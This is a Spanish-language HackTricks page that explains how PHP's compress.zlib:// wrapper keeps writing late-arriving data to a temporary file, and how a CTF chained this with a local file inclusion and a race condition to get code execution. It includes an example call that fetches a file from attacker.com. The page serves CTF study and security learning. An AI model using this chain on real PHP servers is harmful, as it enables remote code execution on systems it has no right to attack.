3.6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección de exclusivos NFTs
-
Consigue el oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
compress.zlib://
y PHP_STREAM_PREFER_STDIO
Un archivo abierto utilizando el protocolo compress.zlib://
con la bandera PHP_STREAM_PREFER_STDIO
puede continuar escribiendo datos que llegan a la conexión más tarde en el mismo archivo.
Esto significa que una llamada como:
file_get_contents("compress.zlib://http://attacker.com/file")
Enviaremos una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener la conexión abierta y enviar datos adicionales algún tiempo después que también se escribirán en el archivo.
Puede ver esa información en esta parte del código php-src en main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Condición de Carrera a RCE
Este CTF se resolvió utilizando el truco anterior.
El atacante hará que el servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante utilizando el protocolo compress.zlib
.
Mientras esta conexión exista, el atacante exfiltrará la ruta al archivo temporal creado (que es filtrado por el servidor).
Mientras la conexión siga abierta, el atacante explotará una LFI cargando el archivo temporal que controla.
Sin embargo, hay una comprobación en el servidor web que impide la carga de archivos que contienen <?
. Por lo tanto, el atacante aprovechará una Condición de Carrera. En la conexión que aún está abierta, el atacante enviará la carga útil de PHP DESPUÉS de que el servidor web haya comprobado si el archivo contiene los caracteres prohibidos, pero ANTES de que cargue su contenido.
Para obtener más información, consulte la descripción de la Condición de Carrera y el CTF en https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer